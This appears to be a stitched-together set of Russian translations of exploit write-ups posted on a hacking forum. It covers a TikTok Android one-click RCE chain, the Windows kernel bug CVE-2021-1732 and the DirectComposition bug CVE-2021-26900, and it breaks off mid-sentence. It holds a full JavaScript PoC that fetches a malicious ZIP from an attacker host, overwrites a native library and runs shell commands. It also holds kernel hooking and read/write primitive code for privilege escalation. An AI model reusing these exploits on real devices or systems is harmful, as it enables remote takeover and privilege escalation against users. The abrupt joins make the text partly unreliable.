дополнительной информации: https://www.mbsd.jp/Whitepaper/IntentScheme.pdf
Я попытался выполнить следующий javascript код, чтобы открыть
com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity
Activity:
Code:Copy to clipboard
location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"
Но, увы, не сработало. Я возвращаюсь к WebViewClient, чтобы посмотреть, что происходит и почему код не отработал. И вижу следующий код:
Code:Copy to clipboard
boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();
if((v8.i) && !v0_7) {
v8.i = false;
v4 = true;
}
else {
v4 = v0_7;
}
Этот код ограничивает действие intent
схемы до тех пор, пока пользователь не
щелкнет где-нибудь. Плохо! Я не люблю эксплойты в два клика. Я сохранил это в
своей заметке и продолжил копать и разбираться.
ToutiaoJSBridge , он реализован в WebView. У него много "вкусных" функций,
одна из них openSchema
, которая использовалась для открытия внутренних
диплинков (deep-ссылок). Там оказалась deeplink-ссылка, aweme://wiki
,
которая используется для открытия URL-адресов в AddWikiActivity
WebView.
AddWikiActivity имплементирует проверку URL, чтобы убедиться, что в нем не
будет открываться черный URL. Но проверка работала только на http
или
https
. По задумке кодеров, любая другая схема недействительна и не требует
проверки:
Code:Copy to clipboard
if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}
public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}
Довольно круто, если на javascript схему валидация не распространяется. Мы можем использовать эту схему для выполнения XSS-атак и на этот WebView тоже!
Code:Copy to clipboard
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));
В WebView напечатался <h1>PoC</h1>
Хорошая новость заключается в том, что AddWikiActivity
WebView поддерживает
эту intent
схему без каких-либо ограничений, но если для disable_app_link
параметра установлено значение false. Круто!
Если следующий код будет выполнен в AddWikiActivity
, то будет вызван
UserFavoritesActivity
:
Code:Copy to clipboard
location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")
Теперь мы можем открыть любое действие и передать ему любые дополнения. Я
нашел действие, называемое TmaTestActivity
в split_df_miniapp.apk
.
Примечание : пакеты split не добавляются в APK. Они загружаются после
первого запуска приложения ядром Google Play Core. Вы можете найти этот пакет
вот так: adb shell pm path {package_name}
Вкратце, TmaTestActivity
использовался для обновления SDK путем загрузки
zip-архива из интернета и его извлечения.
Code:Copy to clipboard
Uri v5 = Uri.parse(Uri.decode(arg5.toString()));
String v0 = v5.getQueryParameter("action");
if(m.a(v0, "sdkUpdate")) {
m.a(v5, "testUri");
this.updateJssdk(arg4, v5, arg6);
return;
}
Чтобы вызвать процесс обновления, мы должны установить для параметра action
значение sdkUpdate
.
Code:Copy to clipboard
private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
String v0 = arg6.getQueryParameter("sdkUpdateVersion");
String v1 = arg6.getQueryParameter("sdkVersion");
String v6 = arg6.getQueryParameter("latestSDKUrl");
SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
v2.putString("sdk_update_version", v0).apply();
v2.putString("sdk_version", v1).apply();
v2.putString("latest_sdk_url", v6).apply();
DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
BundleHandlerParam v0_1 = new BundleHandlerParam();
v6_1.setInitialParam(arg5, v0_1);
ResolveDownloadHandler v5 = new ResolveDownloadHandler();
v6_1.setNextHandler(((BaseBundleHandler)v5));
SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();
v5.setNextHandler(((BaseBundleHandler)v6_2));
}
Он собирает информацию об обновлении SDK из параметров, затем вызывает
DownloadBaseBundleHandler
, затем устанавливает следующий обработчик
ResolveDownloadHandler
, а потом уже SetCurrentProcessBundleVersionHandler
.
Начнем с DownloadBaseBundleHandler
. Он проверяет sdkUpdateVersion
параметр, чтобы узнать, был он новее текущего или нет. Мы можем установить
значение 99,99,99, чтобы избежать этой проверки, а затем начать загрузку:
Code:Copy to clipboard
public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
.....
String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
.....
if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
v10.appendLog("no need update remote basebundle version");
arg15.isIgnoreTask = true;
return arg15;
}
.....
this.startDownload(v9, v10, arg15, v0, v8);
.....
В startDownload
методе я обнаружил, что:
Code:Copy to clipboard
v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();
v2.b = this.getMd5FromUrl(arg16);
v2.a
- это путь загрузки. Он получает контекст приложения AppbrandContext
и должен иметь образец. К сожалению, приложение не всегда запускало этот
образец. Но я же сказал вам, что я потратил на этот эксплойт 21 день, ага !?
Мне было достаточно получить обширные знания о рабочем процессе приложения. И
да! Я где-то видел, как запускается этот экземпляр.
Вызов функции preloadMiniApp
через ToutiaoJSBridge
смог запустить код для
меня! Мне было легко! Копаюсь во всех функциях, даже в первый раз мне это не
кажется полезным, но в данной ситуации
пригодилось.
v2.b
- это md5-сумма загружаемого файла. Он получается из самого имени
файла:
Code:Copy to clipboard
private String getMd5FromUrl(String arg3) {
return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));
}
Имя файла должно выглядеть так: anything_{md5sum_of_file}.zip
, потому что
md5sum
будет сравниваться с файлом md5sum
после загрузки:
Code:Copy to clipboard
public void onDownloadSuccess(ad arg11) {
super.onDownloadSuccess(arg11);
File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b);
long v6 = this.val$beginDownloadTime.getMillisAfterStart();
if(!v11.exists()) {
this.val$baseBundleEvent.appendLog("remote basebundle download fail");
this.val$param.isLastTaskSuccess = false;
this.val$baseBundleEvent.appendLog("remote basebundle not exist");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
}
else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) {
this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success");
this.val$param.isLastTaskSuccess = true;
this.val$param.targetZipFile = v11;
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6);
}
else {
this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
this.val$param.isLastTaskSuccess = false;
}
После завершения обработки загрузки файл передается ResolveDownloadHandler
,
чтобы распаковать его:
Code:Copy to clipboard
public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) {
BaseBundleEvent v0 = arg14.baseBundleEvent;
if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) {
arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);
public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) {
long v10;
boolean v4;
Class v0 = BaseBundleFileManager.class;
synchronized(v0) {
boolean v1 = arg9.exists();
}
if(!v1) {
return 0L;
}
try {
File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10);
arg12.appendLog("start unzip" + arg10);
BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);
private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) {
try {
arg2.appendLog("unzip" + arg3);
IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4);
}
......
}
public static void unZipFolder(String arg1, String arg2) throws Exception {
IOUtils.a(new FileInputStream(arg1), arg2, false);
}
private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception {
ZipInputStream v0 = new ZipInputStream(arg5);
while(true) {
label_2:
ZipEntry v5 = v0.getNextEntry();
if(v5 == null) {
break;
}
String v1 = v5.getName();
if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?
goto label_2;
}
if(v5.isDirectory()) {
new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs();
goto label_2;
}
File v5_1 = new File(arg6 + File.separator + v1);
if(!v5_1.getParentFile().exists()) {
v5_1.getParentFile().mkdirs();
}
v5_1.createNewFile();
FileOutputStream v1_1 = new FileOutputStream(v5_1);
byte[] v5_2 = new byte[0x400];
while(true) {
int v3 = v0.read(v5_2);
if(v3 == -1) {
break;
}
v1_1.write(v5_2, 0, v3);
v1_1.flush();
}
v1_1.close();
}
v0.close();
}
В последнем методе, вызываемом для распаковки файла, есть проверка на обход
пути, но, поскольку значение arg7
равно false
, проверка не произойдет!
Идеально!!
Это позволяет нам использовать уязвимость ZIP Slip и перезаписывать некоторые вкусные файлы.
Я создал zip-файл, и обход пути имени файла для перезаписи файла
/data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
:
Code:Copy to clipboard
dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
Scanning the drive for archives:
1 file, 1930 bytes (2 KiB)
Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
--
Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
Type = zip
Physical Size = 1930
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 5896 1496 1 files
Теперь мы можем перезаписать исходные библиотеки нашей вредоносной библиотекой
для выполнения нашего кода. Он не будет выполнен, если пользователь не
перезапустит приложение. Я нашел способ загружать эту библиотеку без
перезапуска, запустив com.tt.miniapphost.placeholder.MiniappTabActivity0
.
Окончательный PoC:
Code:Copy to clipboard
document.title = "Loading..";
document.write("<h1>Loading..</h1>");
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
window.name = "finished";
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "preloadMiniApp",
"__msg_type": "callback",
"params": {
"mini_app_url": "https://microapp/"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://d.c/"
})); // initialize Mini App
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
setTimeout(function() {
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // load the malicious library after overwrtting it.
}, 5000);
}
Код вредоносной библиотеки:
Code:Copy to clipboard
#include <jni.h>
#include <string>
#include <stdlib.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
system("id > /data/data/com.zhiliaoapp.musically/PoC");
return JNI_VERSION_1_6;
}
TikTok Security внедрил исправление для устранения этих уязвимостей. Были предприняты следующие действия:
android-1-click-rce-240266e78105)
CVE-2021-1732 - это уязвимость нулевого дня, использованная организацией BITTER APT в ходе одной операции, которая была раскрыта в феврале этого года [1] [2] [3]. Эта уязвимость использует возможность обратного вызова пользовательского режима в модуле win32kfull, чтобы прервать нормальный поток выполнения и установить флаг ошибки дополнительных данных оконного объекта (tagWND), что приводит к нарушению доступа к памяти за пределами пространства ядра.
Анализ причин
Основная причина CVE-2021-1732: В процессе создания окна (CreateWindowEx
),
когда объект окна tagWND имеет дополнительные данные (tagWND.cbwndExtra! = 0
), указатель функции user32! _XxxClientAllocWindowClassExtraBytes
,
сохраненный в ntdll! _PEB.kernelCallbackTable
(смещение + 0x58) в
пользовательском режиме, будет вызывается через механизм обратного вызова nt!
KeUserModeCallback, а системный распределитель кучи (ntdll! RtlAllocateHeap)
используется для выделения дополнительной памяти данных в пользовательском
пространстве. При подключении функции
user32!_XxxClientAllocWindowClassExtraBytes
в пользовательском режиме и
изменении свойств дополнительных данных объекта окна в функции перехвата
вручную атомарная операция выделения памяти для дополнительных данных в режиме
ядра может быть прервана, после чего наконец, достигается возможность
чтение/записи на основе дополнительной памяти данных.
Обычный процесс создания оконного объекта (CreateWindowEx
) показан следующим
образом (частично):
Из приведенного выше рисунка мы видим, что: когда размер дополнительных данных
окна (tagWND.cbWndExtra
) не равен 0, win32kfull!xxxCreateWindowEx
вызывает
функцию пользовательского режима user32!_XxxClientAllocWindowClassExtraBytes
через механизм обратного вызова ядра, запрашивает данные памяти
дополнительного окна в пользовательском пространстве. После выделения
указатель выделенной памяти в пользовательском пространстве будет возвращен
свойству tagWND.pExtraBytes
:
Вот два режима сохранения адреса дополнительных данных tagWND
(tagWND.pExtraBytes
):
[Режим 1]В системной куче пользовательского пространства
Как и в обычном процессе, показанном на рисунке выше, указатель дополнительной
памяти данных, выделенной в системной куче пользовательского пространства,
сохраняется непосредственно в tagWND.pExtraBytes
. Один макет памяти tagWND
для режима 1 показан на следующем рисунке:
[Режим 2] В куче рабочего стола в пространстве ядра
Функция ntdll!NtUserConsoleControl
выделяет дополнительную память данных в куче рабочего стола пространства ядра функцией DesktopAlloc, вычисляет смещение выделенного адреса дополнительной памяти данных относительно базового адреса кучи рабочего стола ядра, сохраняет смещение в tagWND.pExtraBytes
и изменяет tagWND.extraFlag | = 0x800
:
Один макет памяти tagWND для режима 2 показан на следующем рисунке:
Затем верните управляемое значение смещения пользовательского режима в tagWND.pExtraBytes через ntdll! NtCallbackReturn и, наконец, реализуйте возможность чтения / записи за пределами контролируемого смещения на основе базового адреса кучи рабочего стола в пространстве ядра.
Измененный процесс, который может вызвать уязвимость, показан следующим образом:
В соответствии с измененной блок-схемой выше, ключевые этапы запуска этой уязвимости объясняются следующим образом:
user32! _XxxClientAllocWindowClassExtraBytes
в PEB.kernelCallbackTable
на пользовательскую функцию-перехватчик.user32!HMValidateHandle.
tagWND.cbwndExtra
. HwndMagic, вероятно, может повторно использовать ранее освобожденную память оконных объектов. Следовательно, путем поиска адресов памяти пользовательского пространства ранее найденых оконных объектов с указанным tagWND.cbwndExtra
в настраиваемой функции перехвата, hwndMagic может быть найден до возврата CreateWindowEx.tagWNDMagic.extraFlag
с флагом 0x800.tagWNDMagic.pExtraBytes
.Реализация функции перехвата демонстрируется следующим образом:
Code:Copy to clipboard
void* WINAPI MyxxxClientAllocWindowClassExtraBytes(ULONG* size) {
do {
if (MAGIC_CBWNDEXTRA == *size) {
HWND hwndMagic = NULL;
//search from freed NormalClass window mapping desktop heap
for (int i = 2; i < 50; ++i) {
ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + _WND_CBWNDEXTRA_OFFSET);
if (MAGIC_CBWNDEXTRA == cbWndExtra) {
hwndMagic = (HWND)*(ULONG_PTR*)(g_pWnd[i]);
printf("[+] bingo! find &hwndMagic = 0x%llx in callback :) \n", g_pWnd[i]);
break;
}
}
if (!hwndMagic) {
printf("[-] Not found hwndMagic, memory layout unsuccessfully :( \n");
break;
}
// 1. set hwndMagic extraFlag |= 0x800
CONSOLEWINDOWOWNER consoleOwner = { 0 };
consoleOwner.hwnd = hwndMagic;
consoleOwner.ProcessId = 1;
consoleOwner.ThreadId = 2;
NtUserConsoleControl(6, &consoleOwner, sizeof(consoleOwner));
// 2. set hwndMagic pExtraBytes fake offset
struct {
ULONG_PTR retvalue;
ULONG_PTR unused1;
ULONG_PTR unused2;
} result = { 0 };
//offset = 0xffffff00, access memory = heap base + 0xffffff00, trigger BSOD
result.retvalue = 0xffffff00;
NtCallbackReturn(&result, sizeof(result), 0);
}
} while (false);
return _xxxClientAllocWindowClassExtraBytes(size);
}
BSOD snapshot:
Анализ эксплойта
Из анализа первопричины мы можем увидеть, что: «Возможность чтения / записи
данных по адресу, который вычисляется по базовому адресу кучи рабочего стола в
пространстве ядра + указанному смещению» может быть получена через эту
уязвимость.
При использовании режима ядра целью атаки является получение системного токена в целом. Общий метод показан следующим образом:
Препятствие - это шаг 1: как использовать «Возможность чтения / записи данных по адресу, который вычисляется по базовому адресу кучи рабочего стола в пространстве ядра + указанное смещение» для получения произвольного примитива чтения / записи памяти в пространстве ядра.
Одно из решений показано на следующем рисунке:
wndMagic_extra_bytes
) можно контролировать с помощью уязвимости, поэтому мы можем использовать SetWindowLong для изменения данных по указанному адресу, рассчитанному по базовому адресу кучи рабочего стола + контролируемому смещению.tagWNDMagic.pExtraBytes
на смещение tagWND0 (смещение tagWND0 получается с помощью tagWND0 + 0x8), вызовите SetWindowLong, чтобы изменить tagWND0.cbWndExtra = 0x0fffffff, чтобы получить измененный tagWND0.pExtraBytes
.tagWND0.pExtraBytes
к tagWND1, вызовите SetWindowLongPtr, чтобы заменить spMenu tagWND1 поддельным spMenu с помощью подделанного tagWND0.pExtraBytes
, реализовать возможность произвольного чтения из памяти с помощью поддельного spMenu и функции GetMenuBarInfo. Логика GetMenuBarInfo для чтения данных по указанному адресу показана следующим образом: данные из 16 байтов сохраняются в структуре MENUBARINFO.rcBar: tagWND0.pExtraBytes
, чтобы изменить tagWND1.pExtraBytes
с указанным адресом, и используйте SetWindowLongPtr tagWND1, чтобы получить возможность произвольной записи в память.Последняя демонстрация повышения привилегий:
Ccылки
[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732
[2] [https://ti.dbappsecurity.com.cn/blo...-is-used-by-bitter-apt-in-targeted-
attack-cn/](https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-
kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack-cn/)
[3]
https://www.virustotal.com/gui/file...f20dd11acd708d7db7fa37ff75bf1abfc29/detection
[4] https://en.wikipedia.org/wiki/Privilege_escalation
От ТС
Отригинал тут
Перевод:
Azrv3l cпециально для xss.is
В марте 2021 года Microsoft выпустила патч для исправления уязвимости в ядре Windows. Ошибка могла позволить злоумышленнику выполнить код с повышенными привилегиями. Об этой уязвимости программе ZDI сообщил исследователь безопасности JeongOh Kyea (@kkokkokye) из THEORI. Он любезно предоставил эту подробную рецензию и Proof-of-Concept с подробным описанием ZDI-21-331 / CVE-2021-26900 и того, как он обходит исправление для CVE-2020-1381, выпущенное в июле 2020 года.
DirectComposition
Компонент [DirectComposition](https://docs.microsoft.com/en-
us/windows/win32/directcomp/directcomposition-portal) был добавлен в Windows
8 и обеспечивает эффективную поддержку графических эффектов, таких как
преобразование изображений и анимация. На CanSecWest 2017 @360Vulcan сделал
презентацию по поиску уязвимостей в DirectComposition - Win32k Dark
Composition [[PDF](https://cansecwest.com/slides/2017/CSW2017_PengQiu-
ShefangZhong_win32k_dark_composition.pdf)].
Доступ к DirectComposition можно получить с помощью системных вызовов win32k,
которые начинаются с NtDComposition
. До Windows 10 RS1 вызывающий выполняет
отдельный системный вызов для каждого действия, такого как создание или
освобождение ресурса. После Windows 10 RS1 они объединены в один системный
вызов NtDCompositionProcessChannelBatchBuffer
, который обрабатывает
несколько команд в пакетном режиме. Работа, представленная @360Vulcan на
CanSecWest 2017, анализирует эту функцию для поиска уязвимостей. С тех пор
было обнаружено множество уязвимостей, связанных с DirectComposition, включая
CVE-2020-1382.
Есть три основных системных вызова для вызова любой уязвимости DirectComposition:
Чтобы создать объекты DirectComposition, вызывающий должен сначала создать
канал с помощью системного вызова NtDCompositionCreateChannel
.
C++:Copy to clipboard
// Create Channel
HANDLE hChannel;
PVOID pMappedAddress = NULL; SIZE_T SectionSize = 0x4000;
DWORD dwArg1, dwArg2;
NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress); // Data is Transferred through pMappedAddress
После создания канала можно отправить несколько команд с помощью системного
вызова NtDCompositionProcessChannelBatchBuffer
.
У каждой команды есть свой формат с разными размерами:
C:Copy to clipboard
enum DCOMPOSITION_COMMAND_ID
{
ProcessCommandBufferIterator,
CreateResource,
OpenSharedResource,
ReleaseResource,
GetAnimationTime,
CapturePointer,
OpenSharedResourceHandle,
SetResourceCallbackId,
SetResourceIntegerProperty,
SetResourceFloatProperty,
SetResourceHandleProperty,
SetResourceHandleArrayProperty,
SetResourceBufferProperty,
SetResourceReferenceProperty,
SetResourceReferenceArrayProperty,
SetResourceAnimationProperty,
SetResourceDeletedNotificationTag,
AddVisualChild,
RedirectMouseToHwnd,
SetVisualInputSink,
RemoveVisualChild
};
Адрес сопоставленного раздела, pMappedAddress
, используется для хранения
пакета команд. После сохранения нескольких команд в pMappedAddress
вызывающий может вызвать NtDCompositionProcessChannelBatchBuffer
для начала
обработки команд.
Чтобы вызвать уязвимость, нам нужно использовать 3 команды:
Во-первых, CreateResource
используется для создания объекта определенного
типа. Размер команды CreateResource
составляет 16 байт, а формат следующий.
Тип ресурса может отличаться в зависимости от версии Windows. Вы можете легко
получить номер типа ресурса, проанализировав функцию
win32kbase!DirectComposition::CApplicationChannel::CreateResource
.
C:Copy to clipboard
// Create Resource
*(DWORD*)(pMappedAddress) = CreateResource;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID (a unique number)
// For example, on Windows 20H2, 19042.804:
// 0x58 == CInteractionTrackerMarshaler
// 0x59 == CInteractionTrackerBindingManagerMarshaler
*(DWORD*)(pMappedAddress + 8) = 0x59; // Resource Type
*(DWORD*)(pMappedAddress + 12) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 16, &dwArg1, &dwArg2);
Во-вторых, SetResourceBufferProperty
используется для установки данных для
целевого объекта. Размер и формат этой команды зависит от типа ресурса.
C:Copy to clipboard
*(DWORD*)pMappedAddress = SetResourceBufferProperty;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID
*(DWORD*)(pMappedAddress + 8) = subcmd; // Sub-Command
*(DWORD*)(pMappedAddress + 12) = datasize; // Datasize
CopyMemory(pMappedAddress + 16, data, datasize); // Data
// Total size of command == 16 + datasize
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 16 + datasize, &dwArg1, &dwArg2);
Наконец, ReleaseResource
используется для освобождения ресурса. Размер
команды ReleaseResource составляет 8 байтов, а формат следующий.
C:Copy to clipboard
*(DWORD*)(pMappedAddress) = ReleaseResource;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 8, &dwArg1, &dwArg2);
Системный вызов NtDCompositionCommitChannel
отправляет эти команды после
сериализации в диспетчер окон рабочего стола (dwm.exe) через протокол
локального вызова процедур (LPC).
После получения команд от ядра диспетчер окон рабочего стола (dwm.exe)
отобразит эти команды на экране.
Уязвимость
Уязвимость CVE-2021-26900 связана с
CInteractionTrackerBindingManagerMarshaler
и
CInteractionTrackerMarshaler
. Эта уязвимость очень похожа на CVE-2020-1381,
поэтому мы сначала объясним CVE-2020-1381, прежде чем обсуждать
CVE-2021-26900.
CVE-2020-1381
CVE-2020-1381/ZDI-20-872
была исправлена в июле 2020 года. Уязвимость возникает в функции
DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty
,
которая является обработчиком команды SetResourceBufferProperty
объекта
CInteractionTrackerBindingManagerMarshaler
.
C:Copy to clipboard
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
if( subcmd || datasize != 12 )
return STATUS_INVALID_PARAMETER;
resource1_id = *(DWORD*)(databuffer)
resource2_id = *(DWORD*)(databuffer+4)
new_entry_id = *(DWORD*)(databuffer+8)
// [1]. Get Proper Resource
if ( resource1_id && resource1_id < resinfo->resourceid_max )
tracker1 = *( (resource1_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker1 = NULL;
if ( resource2_id && resource2_id < resinfo->resourceid_max )
tracker2 = *( (resource2_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker2 = NULL;
// [2]. Check Resource type == CInteractionTrackerMarshaler
if ( tracker1 && tracker2 && tracker1->IsOfType(0x58) && tracker2->IsOfType(0x58) )
{
/*
1. Find tracker pair in tracker list
1-1 If it exists, update entry_id
1-2 If it does not exist, add a new entry
*/
}
/* ... */
}
Объект CInteractionTrackerBindingManagerMarshaler
принимает 12 байтов в
качестве данных для команды SetResourceBufferProperty
. Данные состоят из
трех DWORD: resource1_id
, resource2_id
и new_entry_id
.
Эта функция сначала извлекает ресурсы из resource1_id
и resource2_id
,
указанных пользователем ([1]). Затем он проверяет, что тип каждого из этих
ресурсов равен 0x58, что является типом ресурса CInteractionTrackerMarshaler
([2]).
Затем пара ресурсов CInteractionTrackerMarshaler
добавляется в список
трекера объекта CInteractionTrackerBindingManagerMarshaler
. Как указано в их
названиях, два типа объектов, CInteractionTrackerMarshaler
и
CInteractionTrackerBindingManagerMarshaler
, связаны друг с другом. Объект
CInteractionTrackerBindingManagerMarshaler
хранит список пар объектов
CInteractionTrackerMarshaler
, и каждый из этих объектов
CInteractionTrackerMarshaler
имеет обратный указатель на объект
CInteractionTrackerBindingManagerMarshaler
.
Когда функция
DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty
вызывается в первый раз, пара трекеров добавляется в список, потому что список
пуст.
C:Copy to clipboard
// Size == 32 bytes
struct TrackerEntry
{
CInteractionTrackerMarshaler* Tracker1;
CInteractionTrackerMarshaler* Tracker2;
DWORD entry_id;
DWORD flag1;
BYTE flag2;
};
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
// ....
// 1-2. Add New Entry
if ( new_entry_id )
{
// [3]. Append Pair Data to list
result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
if ( result < 0 )
return result;
entry_size = binding->tracker_list.entrysize; // 0x20 by default
offset = entry_size * (binding->tracker_list.numofentry - 1);
dest = binding->tracker_list.ptr + offset;
// struct TrackerEntry* TrackerPairEntry;
TrackerPairEntry->Tracker1 = tracker1;
TrackerPairEntry->Tracker2 = tracker2;
TrackerPairEntry->entry_id = new_entry_id;
TrackerPairEntry->flag1 = 0;
TrackerPairEntry->flag2 = 1;
memmove(dest, TrackerPairEntry, entry_size);
// [4]. Set reference from `CInteractionTrackerMarshaler` to `CInteractionTrackerBindingManagerMarshaler`
if ( !tracker1->binding_obj )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker1, resinfo, binding);
if ( !tracker2->binding_obj )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker2, resinfo, binding);
}
// ...
}
Чтобы добавить новую запись в список трекеров, размер tracker_list
увеличивается на 1 и записываются данные новой пары трекеров ([3]). Затем он
устанавливает ссылку из каждого объекта CInteractionTrackerMarshaler
на
объект CInteractionTrackerBindingManagerMarshaler
([4]) с помощью функции
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler
,
которая выглядит следующим образом.
